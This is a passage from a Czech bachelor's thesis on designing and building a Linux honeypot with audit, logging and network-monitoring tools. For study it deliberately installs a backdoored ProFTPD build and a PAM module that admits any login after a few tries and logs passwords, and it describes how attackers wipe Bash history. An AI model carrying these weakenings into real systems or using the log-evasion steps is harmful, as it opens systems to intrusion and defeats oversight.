komponentou je  jaderný patch PAX. Ten mimo jiné přináší  možnost,  na  architektuře  x86 označit 
paměťovou stránku jako nespustitelnou, což zvyšuje odolnost proti útokům, jako je přetečení bufferu. 
Kromě vylepšení zvyšující bezpečnost, přináší Grsecurity do jádra i rozšířené možnosti auditu. Právě 
díky těmto novým možnostem, jak zaznamenávat důležité systémové události, je Grsecurity vhodným 
kandidátem pro využití v honeypotu na bázi Linuxu.
Tyto rozšířené vlastnosti  mimo jiné umožňují audit:  Konkrétní skupiny uživatelů v systému, 
připojování/odpojování  svazků  pomocí  mount/unmount,  změny  aktuálního  pracovního  adresáře 
pomocí volání chdir,  signálů zasílaných v systému, změny času a zejména pak audit systémových 
volání  exec a  to včetně argumentů předaných procesu při  spuštění.  Poslední  zmíněné je  výhodou 
oproti dříve zmíněnému process accountingu. Pokud například uživatel něco smaže pomocí rm, tak 
u process accountingu lze pouze zjistit, že uživatel rm použil, ale parametry už zjistit nelze.
Množství dat generovaných jádrem s aktivními auditními schopnostmi Grsecurity je poměrně 
velké. Na druhou stranu však umožňuje získat podrobné údaje o tom co se děje v systému. Výhodou je 
nemožnost deaktivace těchto auditovacích vlastností jádra případným útočníkem. Jedinou možností 
jak tyto vlastnosti deaktivovat, je použití jiného jádra. Tato metoda sběru dat ze sledovaného systému 
je pro použití v honeypotu vhodná.
3.5 Logování příkazů spuštěných v Bashi
Název Bash je akronym pro Bourne-again shell. Jde o unixový shell13, který byl vytvořen pro použití 
13 Shell je program poskytující uživatelské rozhraní k operačnímu systému.
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v projektu GNU [6].  Díky tomu je  Bash hojně rozšířen  napříč  různými  systémy unixového typu. 
U unixových serverů je běžné, že je pomocí protokolu ssh vzdáleně dostupný shell stroje pro jeho 
správu. Častou snahou útočníků je se k shellu vzdáleného stroje dostat. Pokud se to útočníkovi podaří, 
může  být  záznam  jeho  interakce  s  operačním  systémem  pomocí  příkazové  řádky  velice  cennou 
informací. Takovýto záznam může pomoci odhalit velké množství informací o útočníkových záměrech 
nebo o něm samotném. Podle složitosti a rychlosti zadávání jednotlivých příkazů je možné určit zda 
jde o uživatele  nebo skript,  případně se dá odhadnout  i  míra  útočníkových znalosti  o napadeném 
systému.
Bash sám o sobě poskytuje možnost ukládání historie posledních několika příkazů. To jestli se 
budou  příkazy  ukládat,  případně  kam  a  kolik,  je  možné  ovlivnit  pomocí  proměnných  prostředí 
HISTFILE,  HISTFILESIZE,  HISTIGNORE and HISTSIZE.  V linuxových  systémech se  většinou 
historie  příkazové  řádky  ukládá  do  souboru  .bash_history  v  domovském  adresáři  uživatele.  Toto 
uchovávání historie příkazů není pro použití v honeypotu vhodné. Útočník totiž může zmíněný soubor 
s historií příkazové řádky smazat. Případně může proměnnou HISTFILE změnit tak, aby se historie 
příkazů  ukládala  do  zařízení  /dev/null14.  Stejně  tak  může  změnit  proměnné  HISTFILESIZE 
a HISTSIZE  tak,  že  se  nebudou  ukládat  žádné  příkazy.  V neposlední  řadě  může  historii  zahltit 
zbytečnými příkazy, takže uchovány zůstanou pouze nic neříkající příkazy, zatímco původní zajímavé 
příkazy byly již z historie zahozeny.
Existují sice postupy, jak uživatelům zabránit zničení historie, spočívající v nastavení příznaku 
pouze pro přidávání dat na soubor s historií, či zakázání změn zmíněných proměnných prostředí. I  tyto 
postupy jsou ale bezzubé v případě, že útočník získal práva superuživatele. Řešením těchto neduhů je  
využití možnosti přímého zasílání všech příkazů do syslogu, která přibyla v nových verzích Bashe od 
verze 4.115. Tato volba se však nedá nikde jednoduše aktivovat a je třeba celý Bash překompilovat ze 
zdrojových kódů. Při překompilovávání je důležité povolit volbu, která logování do syslogu aktivuje. 
Takto zkompilovaný Bash bude transparentně posílat všechny příkazy do syslogu bez toho, aniž by to  
útočník tušil.
Výhodou  logování  příkazů  bashe  do  syslogu  je  fakt,  že  je  tato  volba  poměrně  nová, 
ve výchozím stavu deaktivovaná a v případě její  aktivace při  kompilaci  není  možnost  ji  vypnout. 
Množství  generovaných  dat  závisí  na  aktivitě  ve  sledovaném  systému,  ale  v  porovnání  s dříve 
zmíněnými auditovacími metodami jde o malé množství. Vzhledem k nenáročnosti implementace je  
tato metoda sledování vhodná pro použití v honeypotu.
3.6 Monitorování, zaznamenávání a analýza síťového provozu
Vzhledem k faktu, že tvořený honeypot bude sloužit pro zachycení síťových útoků a interakce s ním 
z venčí  bude  probíhat  právě  pomocí  počítačové  sítě,  je  vhodné  komunikaci  mezi  útočníkem 
a honeypotem zaznamenávat.
Z takovýchto zaznamenaných dat  pak je možné zjistit, odkud a kam se útočník připojoval, co 
využíval  za  služby  a  protokoly.  V  případě  použití  nešifrovaných  protokolů  útočníkem,  získáme 
i možnost  zrekonstruovat  přenášená  data  či  proběhlou  komunikaci.  Kromě těchto  údajů je  možné 
14 Speciální zařízení v unixových systémech, které zahodí všechna data do něj zapsaná.
15 http://www.mail-archive.com/bug-bash@gnu.org/msg06715.html  
16
z nasbíraných dat provést i identifikaci operačních systémů, s kterými bylo komunikováno.
3.6.1 Tcpdump
Tcpdump je nástroj pro příkazovou řádku na zachytávání a analýzu síťového provozu. Jde o svobodný 
software  pod  BSD  licencí,  který  je  ve  formě  balíčku  dostupný  ve  většině  běžných  linuxových 
distribucí. Kromě Linuxu pracuje Tcpdump i na dalších systémech unixového typu jako BSD, Solaris 
nebo Mac OS X.
Pro  použití  Tcpdumpu  k  zachytávání  paketů  na  Linuxu,  je  třeba  jej  spustit  s  právy 
superuživatele. Při spouštění nástroje je možné nastavit několik voleb upřesňujících zachytávání dat.  
Příkladem takové volby je výběr rozhraní,  na kterém se mají  data zachytávat.  Výhodné může být 
i použití  filtru, který specifikuje, jaké pakety mají být zachytávány. Jiným přepínačem při spuštění 
programu  se  dá  zase  zvolit,  zda  se  mají  zachycená  data  ukládat  do  souboru,  nebo  tisknout  na  
standardní výstup. Při ukládání do souboru lze tato data kdykoli později zpracovat. Formát souboru 
s daty  Tcpdumpu  je  široce  podporovaný  a  pro  analýzu  těchto  dat  lze  využít  různých  programů. 
Množství přepínačů, které program nabízí je poměrně velké a pro detailnější  informace lze využít 
manuálové stránky programu.
3.6.2 Wireshark
Wireshark je další nástroj pro zachytávání a analýzu síťového provozu podobně jako Tcpdump. Jde 
o multiplatformní nástroj s grafickým uživatelským rozhraním vytvořeným pomocí toolkitu GTK+. 
Negrafická verze tohoto nástroje s rozhraním příkazové řádky se jmenuje Tshark.
Wireshark  podporuje  formát  souborů  vytvořených  programem  Tcpdump.  To  ve  spojením 
s grafickým  uživatelským  rozhraním  umožňuje  použití  programu  pro  pohodlnou  ruční  analýzu 
nasbíraných dat.
3.6.3 Argus
Argus je open-source nástroj pro audit síťové aktivity. Argus na rozdíl od  Tcpdumpu a Wiresharku 
pracuje na úrovni síťových spojení, kdy ukládá nikoli data o jednotlivých paketech, ale o jednotlivých 
síťových spojeních. Argus se skládá ze dvou částí. Serverová část se stará o zachytávání paketů, jejich 
zpracování  do toků a ukládání těchto dat.  Druhá, klientská část  se skládá z množiny nástrojů pro  
zpracování dat vygenerovaných serverovou částí.
Výhodou auditu na úrovni spojení je větší abstrakce výsledků monitorování sítě. Ve výsledcích 
auditu tak  lze  vidět  jednotlivá  spojení,  obsahující  adresy  obou účastníků komunikace,  čísla  portů 
a počet přenesených paketů a dat v rámci daného spojení. Záznamy komunikace na úrovni spojení také 
zabírají  mnohem méně místa,  oproti  záznamům veškeré  síťové komunikace.  Nevýhodou je  ztráta 
možnosti později analyzovat jednotlivé pakety a jejich obsah.
Serverová část Argusu umožňuje, mimo samotného zachytávání paketů, zpracovávat i soubory 
s daty zachycenými pomocí nástroje Tcpdump. Při sledování sítě je tedy možné použít pouze nástroj 
Tcpdump,  ukládat  si  veškerý  síťový  provoz  a až  v případě  potřeby  využít  Argus  k vygenerování 
informací o zrealizovaných spojeních.
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3.6.4 P0f
P0f je nástroj pro pasivní rozpoznávání otisků operačních systémů ze síťového toku. Nástroj je open-
source, bohužel již delší dobu nevyvíjený. S pomocí P0f je možné identifikovat operační systém stroje 
se kterým je vedena síťová komunikace. 
Nástroj využívá toho, že některá pravidla ohledně chování síťového TCP/IP zásobníku nejsou 
pevně definovány a různé operační systémy si je implementují po svém. Podle takovýchto odchylek 
v zachycených paketech je pak nástroj schopen přibližně rozpoznat,  jaký operační systém vytvořil  
zachycené pakety a potažmo i přibližnou verzi systému. Přídomek pasivní znamená, že nástroj při  
detekci pouze poslouchá a nijak se aktivně nezapojuje do komunikace, respektive neodesílá žádné 
pakety.  Díky tomu není  možné aktivitu  nástroje  detekovat.  Na druhou stranu aktivní  nástroje  pro 
rozpoznání  otisků,  mohou  dosahovat  větší  přesnosti.  To  je  dáno  tím,  že  mají  možnost  speciálně 
upravenými pakety vyvolat specifické situace v síťové komunikaci, přičemž řešení těchto situací opět 
implementuje každý operační systém jinak, což napomáhá identifikaci. Nevýhodou aktivních nástrojů 
je  skutečnost,  že  jejich  přítomnost  lze  identifikovat  a  vzbudit  tak  u  sledované  strany  podezření, 
že něco není v pořádku.
Právě fakt, že jde o pasivní nástroj, který je navíc možné použít na Tcpdumpem dříve zachycená 
data, činí z P0f vhodný nástroj k následné analýze dat nasbíraných během činnosti honeypotu.
3.7 Sebek
Sebek je sada nástrojů pro zachycení a sběr dat o útočníkových aktivitách na honeypotu. Jde o open-
source nástroj vyvinutý v rámci projektu The Honeynet Project16. Projekt Sebek již není dále vyvíjen 
a poslední stabilní verze je z roku 2006. Sebek se skládá ze dvou částí.
Klientská část je přítomna na honeypotu a zachytává útočníkovy aktivy, jakou jsou stisky kláves 
či síťová spojení a tato data skrytě odesílá. Druhou částí je server, který přijímá data od klienta či  
klientů.  Klientská  část  pro  linuxové  systémy má formu jaderného modulu.  Tento modul  se  svoji 
přítomnost na honeypotu snaží velice pečlivě skrývat. Využívá k tomu techniky známé z rootkitů jako 
je  skrývání  procesů,  síťových  spojení  nebo  přítomnosti  modulu  v  jádře.  Jak  pro  sledování 
útočníkových aktivit  v systému, tak pro skrytí  své přítomnosti  modul využívá modifikaci  tabulky 
systémových volání.
Jak bylo zmíněno, Sebek již není delší dobu aktivně vyvíjen, na novějších linuxových jádrech 
nepracuje správně.  Jeho modul do jádra nejde zavést a na aktuálních jádrech nejde ani zkompilovat. 
Při  analýze  modulu  během  činnosti  na  této  bakalářské  práci,  bylo  provedeno  několik  úprav  ve 
zdrojových kódech modulu Sebek. Při těchto modifikacích se podařilo modul upravit tak, aby jej bylo 
možné zkompilovat s novými jádry a bylo možné jej zavést do jádra. Bohužel modul neprodukoval 
žádný výstup a tak bylo od této možnosti sledování linuxového systému upuštěno.
3.8 Snort
Snort  je  open-source  systém pro detekci  (IDS) a  prevenci  (IPS)  síťových útoků.  Snort  poskytuje 
detekci útoku založenou jak na porovnávání otisků, tak na detekci anomálií v síťovém provozu. Může 
16 http://honeynet.org/  
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pracovat ve třech módech.  První  je sniffer,  kdy zachytává pakety a pak je vypisuje na standardní  
výstup. Druhý mód je logger, kdy zachytává pakety a ukládá je do souboru. Poslední třetí mód je mód 
detekce průniků. V tomto módu jsou zachycené pakety porovnávány se sadou nastavených pravidel,  
která říkají, co má být provedeno za akci.
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4 Tvorba linuxového honeypotu
V této kapitole budou popsány klíčové záležitosti týkající se tvorby linuxového honeypotu. Nejdříve 
bude prezentován návrh honeypotu a poté budou diskutovány jednotlivé jeho části. Budou předložena 
možná řešení konkrétních problémů a zdůvodněn výběr těch nejvhodnějších.
4.1 Návrh honeypotu na bázi Linuxu
Navrhovaný honeypot bude vysoce interaktivní a virtuální. Půjde o upravenou linuxovou distribuci, 
která bude provozována ve virtualizovaném prostřední některého z volně dostupných virtualizačních 
nástrojů. 
Pro využití v honeypotu bude vhodná malá a rozšířená distribuce  ve starší verzi. Rozšířenost 
a starší verze zvětší šanci, že k této distribuci budou známy bezpečnostní chyby a bude pro útočníky  
lákavým cílem.  Malá  velikost  bude výhodná pro případné následné kontroly integrity  souborů na 
systémovém disku. Druhým krokem bude výběr vhodných služeb, tak aby byly pro útočníka zajímavé 
a přitáhly jeho pozornost.  Třetím krokem bude upravení  programů,  služeb a  konfigurace systému 
takovým způsobem, aby mohly být všechny aktivity v systému monitorovány a zaznamenávány. Při  
této  modifikaci  prvků  operačního  systému,  bude  záměrně  ponecháno  několik  bezpečnostních 
nedostatků tak, aby byla větší šance na přilákání útočníka a úspěšnou kompromitaci systému.
Důležitou  částí  návrhu  bude  volba  nejvýhodnější  virtualizační  technologie.  Poté  budou 
diskutovány  požadavky  na  konfiguraci  počítače  hostujícího  tento  virtuální  honeypot.  Hostitel 
honeypotu  bude  obsahovat  firewall.  Tento  firewall  zaručí,  že  kompromitovaný systém honeypotu 
nebude pro okolí nebezpečný. Schéma navrženého systému je na obrázku číslo 3.
Klíčovým prvkem pro monitorování honeypotu bude služba syslog. Všechny údaje ze sledování 
aktivit  uvnitř  v  systému  honeypotu  budou  předávány  do  systémového  syslogu.  Ten bude 
nakonfigurovaný  tak,  aby  vše  přeposílal  na  vzdálený  syslog  server  spuštěný  na  počítači,  který 
honeypot hostuje.  Všechny zprávy tak budou ukládány mimo honeypot a tím pádem mimo dosah 
útočníka.  Pro  monitorování  uvnitř  honeypotu  byly  zvoleny  nástroje  Auditd  a  Grsecurity.  Auditd 
i Grsecurity  umožňují  odesílat  nasbíraná data  do syslogu a  jsou tedy pro nasazení  optimální.  Pro 
monitorování síťového provozu z vnějšku byl zvolen Tcpdump, spolu s nástrojem pro detekci síťových 
útoků Snort. Firewall přímo v honeypotu, který je také vidět na schématu, nebude mít žádné omezující 
pravidla a bude sloužit pouze pro detekci skenování portů na honeypotu.
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Obrázek 3: Schéma navrženého honeypotu
4.2 Výběr vhodné distribuce
Jak již bylo řečeno v úvodu kapitoly, jedním ze základních požadavků na linuxovou distribuci bylo, 
aby zabírala málo místa  na disku a  patřila  mezi  obecně známé či  rozšířené distribuce.  Bylo tedy 
vybráno několik  různých distribucí  a  pokud to  bylo  možné,  tak  byla  provedena  jejich  minimální 
instalace. Výsledky využití místa na pevném disku byly následující:
• Ubuntu 8.04 LTS ihned po instalaci zabíralo 578 MB.
• Fedora 7 po instalaci zabírala 766 MB.
• Fedora 11 se na disk o velikosti 1GB vůbec nepodařila nainstalovat.  Po rozdělení  pevného 
disku byla v instalátoru vyvolána výjimka s chybou oznamující, že na disku není dostatek 
volného místa.
• Debian 3.2 (Sarge) v čisté instalaci, bez žádných dodatečných balíčků zabíral 186 MB.
• Debian 4.9 (Etch) v čisté instalaci zabíral 246 MB.
Z provedených měření tedy nejlépe vyšla distribuce Debian. Ve prospěch Debianu byl i fakt, že 
jde o poměrně hojně rozšířenou distribuci, která bývá často nasazována na různých serverech. Pro  
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tvorbu honeypotu byla tedy zvolena distribuce Debian a to ve verzi 4.9 s kódovým označením „Etch“.  
Důvodem, proč byl Etch upřednostněn před Sarge je  až příliš  velké stáří verze Sarge.  Bezpečnostní 
aktualizace k verzi Sarge přestaly být poskytovány již v roce 2008 a bylo by tedy velice nevěrohodné 
provozovat honeypot s touto verzí systému. Další problémy by mohly vzniknout i kvůli kompatibilitě 
dříve zmíněných auditních nástrojů s takto starou verzí systému.
4.3 Výběr služeb pro honeypot
Výběr  služeb,  které  bude  honeypot  provozovat,  je  jednou  ze  základních věcí  u jeho návrhu. 
Podstatnou  součástí  výběru  služeb  je  i výběr  programů  (démonů17),  kteří  budou  tyto  služby 
provozovat. Volba vhodného programu a jeho verze, například se známým bezpečnostním problémem, 
může zvýšit  šance na úspěšnou kompromitaci a umožnit tak získat více informací o útočníkových 
záměrech.  Zároveň  může  zvýšit  atraktivitu  honeypotu  a  přitáhnout  pozornost  více  útočníků. 
V neposlední  řadě  výběr  vhodného  programu s  pokročilými  možnostmi  sledování,  umožní  získat 
podrobné informace o průběhu interakce útočníka se službou.
Pro nasazení v honeypotu byly uvažovány čtyři základní služby a to webový server, ftp server 
a servery pro vzdálený přístup ssh a telnet. Tyto služby byly uvažovány zejména kvůli své rozšířenosti, 
kdy jednu čí více takovýchto služeb provozuje téměř každý server a proto se tyto služby stávají velice 
často cílem útoků jak automatizovaných nástrojů, tak reálných útočníků.
4.3.1 Webový server
Pro realizaci webového serveru byl vybrán webový server Apache. Použita byla verze 2.2.3 dostupná 
z repozitářů Debianu Etch. Tato verze je již poměrně stará a tudíž by mohla být pro útočníky, hledající 
zranitelnosti ve starých verzích programů, lákavá. Spolu s Apache bylo dále nainstalováno i  PHP ve 
verzi 5.2.0. Při nasazení webového linuxového serveru se hojně používá kombinace software označená 
zkratkou LAMP, která obsahuje Linux, Apache, MySQL a PHP. Pro nasazení v honeypotu však bylo 
MySQL z  důvodu  velké  prostorové  náročnosti  zavrženo.  Instalace  všech  potřebných  komponent 
databázového systému MySQL z repozitářů by zabrala na pevném disku honeypotu přes 100 MB. 
Místo nasazení MySQL bylo rozhodnuto zvolit SQLite.
SQLite je malý, nenáročný, open-source, relační databázový systém. Každá databáze v SQLite 
je realizována v jednom souboru, ke kterému se dá přistupovat pomocí SQLite knihovny. Podpora 
SQLite je v PHP zabudována a jeho nasazení tedy nevyžaduje žádnou dodatečnou konfiguraci.
Pro zvýšení věrohodnosti bylo třeba zvolit vhodnou webovou aplikaci, která bude na serveru 
provozována. Jako nejvhodnější možnost bylo rozhodnuto o nasazení některého z volně dostupných 
redakčních  systému.  Při  jeho  výběru  bylo  třeba  brát  v  úvahu,  použití  databáze  SQLite  namísto 
MySQL.  Nakonec  byly  pro  otestování  vybrány  redakční  systémy  WordPress  2.3.0  se  zásuvným 
modulem „PDO (SQLite) for WordPress“18 a projekt Drupal-SQLite19. 
Při testování se u zásuvného modulu pro WordPress ukázalo, že pracuje pouze se SQLite ve  
verzi 3, jehož plná podpora v nasazeném PHP 5.2.0 chybí. Všechny pokusy o zprovoznění systému 
17 Démon je označení pro program spuštěný dlouhodobě na pozadí a který není přímo ovládán uživatelem.
18 http://wordpress.org/extend/plugins/pdo-for-wordpress/  
19 http://sourceforge.net/projects/drupal-sqlite/  
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WordPress na této staré verzi PHP bohužel selhaly. Pro nasazení byl tedy vybrán redakční systém 
Drupal v modifikaci Drupal-SQLite. Tento systém se při testování ukázal jako bez problémový a byl 
tedy zvolen pro nasazení v honeypotu. Součástí jeho nasazení bylo vložení několika falešných článků 
a změna výchozího vzhledu. Tato úprava měla za cíl, aby server vypadal jako intranetový portál nějaké 
neurčité společnosti. 
4.3.2 FTP server
Pro realizaci ftp serveru bylo rozhodnuto využít software ProFTPD. Konkrétně jeho verzi se zadními 
vrátky,  která  se  28.  listopadu  2010  objevila  na  hlavním  distribučním  serveru  tohoto  projektu. 
Přítomnost těchto modifikovaných zdrojových kódů byla na serveru odhalena 1. prosince téhož roku. 
Zmíněná zadní vrátka umožňují útočníkovi vzdálený superuživatelský přístup k systému, na kterém je  
server provozován [8]. Detekce, zda na serveru pracuje postižená verze ProFTPD, je poměrně snadná 
a většina nástrojů pro bezpečnostní audit jako Nmap či Nessus ji ovládá. Po získání těchto zdrojových  
kódů byl vytvořen binární debianovský balíček pro nainstalování na honeypot.
4.3.3 Server pro vzdálený přístup
Pro vzdálený přístup byly ze začátku uvažovány služby ssh a telnet. Rozdíl mezi ssh a telnetem je ten,  
že komunikace pomocí telnetu probíhá nešifrovaně a to včetně autentizace. Z toho důvodu již není  
použití  telnetu pro vzdálený přístup z internetu tak časté jako dříve.  Proto bylo rozhodnuto telnet 
server nespouštět a použít pro vzdálený přístup pouze službu ssh.
Pro realizaci ssh serveru byl vybrán server OpenSSH ve verzi 4.3p2. Tato verze je v Debianu 
Echt dostupná ve formě binárního balíčku, ale pro nasazení v honeypotu byla zkompilována verze 
vlastní.  Tato vlastní  verze byla  totiž  před kompilací  vylepšena pomocí  patche sftplogging20.  Díky 
tomuto  patchi  lze  detailně  sledovat  přístup  k  souborům  pomocí  sftp  serveru,  který  je  součástí  
OpenSSH.  Tyto  detailní  informace  o  přístupu k  souborům jsou  z  sftp  serveru  zasílány  přímo do 
syslogu. U verzí OpenSSH 4.4p1 a výše by již tento patch nebyl potřeba, protože sftp již podobné  
sledování  podporuje.  Z  důvodu  zachování  větší  věrohodnosti  systému  honeypotu  však  bylo 
rozhodnuto použít stejnou verzi jako je dostupná v repozitáři.
4.4 Další modifikace softwaru pro nasazení v honeypotu
Kromě  modifikace  démonů služeb,  je  vhodné  provést  ještě  další  úpravy  softwarového  vybavení 
systému, které vylepší jeho vlastnosti pro využití jako honeypotu. 
4.4.1 Modifikace autentizace
Při  zkoumání  vzdáleného  systému útočníky  je  relativně  časté  zkoušení  různých  kombinací  hesel 
a uživatelských jmen.  Pokud útočník takto získá přístup do systému,  můžeme o něm,  jeho cílech 
a chování získat užitečné informace. Proto je vhodné, aby byl systém honeypotu k tomuto způsobu 
odhalení uživatelského jména a hesla co nejvíce nakloněn.
Jednou z možností jak toho dosáhnout je vytvořit na systému velké množství uživatelských účtů 
20 http://sftplogging.sourceforge.net/  
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s jednoduchými slovníkovými hesly. Tento způsob má ale několik nevýhod. Pokud by bylo použito 
stejné heslo i uživatelské jméno pro každý účet v systému, mohlo by to vzbudit podezření. Stejné 
podezření,  ze  strany útočníka,  by mohly vzbudit  i  triviální  kombinace  jako  superuživatelský  účet 
„root“ s heslem „admin“ a podobně.  Použití  složitější  kombinace by bohužel zase mohlo výrazně 
prodloužit čas potřebný na slovníkový útok a tím útočníka odradit.
Jako nejlepší způsob, jak výrazně oslabit autentizaci se ukázala možnost modifikace systému 
PAM21. PAM je systém, který zajišťuje autentizační mechanizmy pro různé aplikace v systémů. Tento 
systém využívá modulů, přičemž každý modul umožňuje zpravidla jinou formu autentizace. Například 
pomocí otisků prstů, čipových karet, vzdáleného RADIUS serveru, jednorázových hesel a tak dále.  
Aplikacím,  která  PAM systém využívají,  je  možné  nastavit  které  moduly  mají  být  při  ověřování 
použity.  V rámci  oslabení  autentizace na honeypotu byl  zvolen modul  pam_python22.  Ten  spouští 
interpret  jazyka  python  a  tím poskytuje  možnost  naprogramování  takovéhoto  modulu  v  Pythonu. 
S využitím  pam_python  byl  tedy  vytvořen  nový  PAM  modul,  který  disponuje  třemi  klíčovými 
vlastnosti:
• Umí vytvořit  nového uživatele v systému.  Pokud útočník zkusí  uživatelské jméno,  které 
v systému neexistuje, modul toto uživatelské jméno okamžitě vytvoří.
• Po  určitém  (náhodném)  počtu  pokusů  vpustí  každého. Modul  si  vede  seznam 
uživatelských jmen spolu s počtem neúspěšných přihlášení. Při každém pokusu o autentizaci 
špatným heslem je počet pokusů zvýšen o jedničku a je vygenerováno náhodné číslo od jedné 
do osmi. Pokud je náhodné číslo menší nebo rovno počtu neúspěšných přihlášení, je uživatel  
vpuštěn do systému a čítač špatných pokusů vynulován. Zároveň stávající uživatelské heslo je 
změněno  na  poslední  použité.  To  zaručuje,  že  při  dalším  pokusu  o  přihlášení  na  daný 
uživatelský účet s tímto heslem, které  už útočníka do systému jednou vpustilo, bude heslo 
opětovně znovu akceptováno.
• Ukládá  kombinace  nesprávných  uživatelských  jmen  a  hesel. Při  každém  neúspěšném 
přihlášení je do syslogu zaslána zpráva ve formátu „jmeno:heslo“. V reálném systému by šlo 
o ohrožení bezpečnosti  uživatelů, protože v případě překlepu by jejich heslo bylo viditelné 
administrátorovi, který by tak mohl snadno odhadnout skutečné heslo. V případě honeypotu 
však  tato  vlastnost poskytuje  možnost  získání  zajímavých  statistických  informací 
o zkoušených kombinacích uživatelských jmen a hesel.
Tento modul je zamýšlen pro použití na autentizaci přes ssh. Pro statní programy a částí systému 
je  vhodné nechat  konfiguraci  autentizace beze změny.  Modul pam_python tak spolu v kombinaci  
s nově vytvořeným modulem vyřešil potřebu oslabení autentizace a to bez nutnosti vytváření desítek 
různých uživatelských účtů s triviálními hesly.
4.4.2 Nová verze Bashe
Možnosti  sledování  příkazů, které útočník spouští  v Bashi na kompromitovaném systému byly již 
popsány v kapitole věnující se technikám monitorování linuxového systému. Protože jde o nenáročný 
21 Pluggable Authentication Modules
22 http://ace-host.stuart.id.au/russell/files/pam_python/  
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způsob jak sledovat práci útočníka v systému, bylo rozhodnuto o jeho nasazení do systému honeypotu. 
Pro nasazení byl vybrán Bash verze 4.2.
Zdrojový kód je  možné  stáhnout  ze  stránek projektu  GNU.  Kompilaci  lze  provést  pomocí 
příkazů  ./configure a  make. Při kompilaci je potřeba přidat do voleb pro kompilátor přepínač 
-DSYSLOG_HISTORY, nebo upravit zdrojové kódy tak, aby tato volba byla aktivní. Poté již stačí  
zkompilovaný Bash nainstalovat pomocí příkazu make install.
4.4.3 Kompilace linuxového jádra
Kompilace vlastního jádra je nezbytná kvůli nasazení jaderného patche Grsecurity a jeho rozšířených 
možností pro audit systému, tak jak to bylo zmíněno v kapitole o monitorování linuxového systému.  
Také je potřebná kvůli aktivaci volby  CONFIG_AUDITSYSCALL, která je vyžadována pro použití 
nástroje Auditd. Přínosem vlastní kompilace je také možnost odstranění nepotřebných ovladačů, což 
povede ke snížení celkové velikosti balíčku jádra a jaderných modulů.
Zdrojový kód jádra lze stáhnout z oficiálních stránek na kernel.org. Po rozbalení jádra je třeba 
stáhnout a aplikovat odpovídající patch Grsecurity. Pro nasazení v honeypotu bylo vybráno jádro verze 
2.6.19.1 pro které je dostupný Grsecurity patch. Tento patch je možné stáhnout z oficiálních stránek na 
adrese grsecurity.net. Následuje konfigurace voleb jádra. Nejlepší je jako výchozí konfiguraci použít  
konfiguraci  aktuálního používaného jádra  a  tu  potom pouze modifikovat.  Konfiguraci  současného 
jádra lze většinou nalézt v adresáři /boot v souboru začínajícím řetězcem „config-“. 
Pro  jádro  honeypotu  byla,  oproti  výchozí  konfiguraci,  nově  aktivována  volba  Grsecurity 
v Security options. Všechny volby v podsekci Grsecurity byly deaktivovány, kromě voleb týkajících se 
auditu. Aktivní tedy zůstali, nebo byly aktivovány pouze volby: Exec logging, (Un)Mount logging,  
IPC logging, Singal logging, Fork failure logging a Time change logging, /proc/<pid>/ipaddr support.
Další  změna  konfigurace  jádra,  oproti  výchozímu  stavu,  spočívala  v  aktivaci  volby 
CONFIG_AUDITSYSCALL a  odstranění  ovladačů  zvukových  karet,  grafických  akcelerátorů, 
bezdrátových síťových karet a dalších specifických zařízení, která nebudou v honeypotu provozována.  
Po kompilaci jádra a modulů byl vytvořen binární balíček pro použití v honeypotu.
4.4.4 Instalace Auditd
Auditd je další, z řady dříve zmíněných, nástrojů pro sledování systému, o kterém bylo rozhodnuto, jej 
v honeypotu použít. Tento nástroj je dostupný ve formě binárního balíčku pro distribuci Debian Lenny.  
Pro, v honeypotu použitý, Debian Etch balíček přímo dostupný není,  ale balíček pro verzi Lenny je 
v něm bez problémů funkční. Před instalací samotného balíčku Auditd je však nezbytné nejprve ručně 
nainstalovat balíček Libaudit, na kterém Auditd závisí. Při instalaci bude zobrazeno varovné hlášení  
o nesplněných závislostech z důvodů nízké verze knihovny Libc. Toto varování lze bez obav ignorovat 
a nainstalovat oba balíčky s přepínačem „--force-all“.
Kromě  použití  přepínače  pro  ignorování  chyb  existuje  ještě  další  možnost  jak  zajistit  
bezproblémovou instalaci. Tato možnost spočívá v ruční úpravě závislostí balíčku. Výhodou tohoto 
řešení  je,  že  uživatel  nebude  vystaven  žádným  varovným  či  chybovým  hlášením  při  použití 
balíčkovacího systému.
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4.5 Tvorba honeypotu
Zatím  byl  v  této  kapitole  vysvětlen  návrh  honeypotu  a  popsán  software,  který  bude  nasazen 
i s případnými  jeho  modifikacemi.  Nyní  bude  popsán  postup  instalace  a  konfigurace  systému. 
Z programů uvedených v této kapitole, které bylo třeba modifikovat, nebo nejsou dostupné ve formě 
balíčků  v  repozitářích,  byly  vytvořeny  vlastní  balíčky.  Postup  pro  tvorbu  jednotlivých  binárních 
balíčků však záměrně nebyl uveden, protože je mimo rámec této práce.
4.5.1 Instalace systému Debian Etch
Instalace nebude popsána krok za krokem, bude pouze upozorněno na klíčové momenty instalace. 
Konfigurační možnosti, které nebudou zmíněny budou ponechány ve výchozím nastavení.
Jazyk  systému  bude  ponechán  anglický,  umístění  vybráno  podle  skutečnosti  a  rozložení 
klávesnice  ponecháno  na  výchozí  Americké  angličtině.  Hostname  by  mělo  být  zvoleno  tak,  aby 
odpovídalo  zaměření  systému  simulovaného  honeypotem,  proto  bylo  nastaveno  jméno  počítače 
„server“ a domény „intranet“.
Rozdělení  disku  bylo  provedeno  ručně,  pomocí  volby  „Manual“.  Na  vybraném  disku  byl 
vytvořen  jeden  velký  oddíl  s  přípojným  bodem  „/“,  souborový  systémem  „Ext3“  a  hodnotou 
„Reserved blocks“ na 0%. Varování o neexistujícím swap oddílu bylo ignorováno. Superuživatelské 
heslo  bylo  nastaveno na „hp123“  a  byl  vytvořen  uživatelský účet  „tomas“  s  heslem „tomas123“. 
Konfiguraci  správce  balíčků  během  instalace  byla  vynechána  a  varování  o  nedostupnosti 
bezpečnostních  aktualizací  ignorováno.  U  výběru  softwaru  pro  instalaci,  je  ve  výchozím  stavu 
označena pouze volba „Standard system“, tato volba byla odznačena a bylo pokračováno v instalaci.
Po následném restartu  na konci instalace byl k dispozici základní systém. Do něj bylo třeba 
doinstalovat z repozitářů balíčky ssh, telnet, syslog-ng, python, apache2, libapache2-mod-php5, php5-
common  a  php5-sqlite.  Poté  byly  nainstalovány  dříve  vytvořené  balíčky  auditd,  bash,  libaudit,  
openssh-server,  proftpd,  balíček s  vlastním jádrem a balíček obsahující  modul pam_python.so pro 
umožnění tvorby PAM modulů v Pythonu.
4.5.2 Konfigurace systému
Při konfiguraci byl syslog nastaven tak, aby odesílal všechna data po síti na IP adresu hostitele. Služby 
v systému byly nastaveny tak aby využívaly syslog.  Mezi tyto služby patří  Audisp,  který se stará 
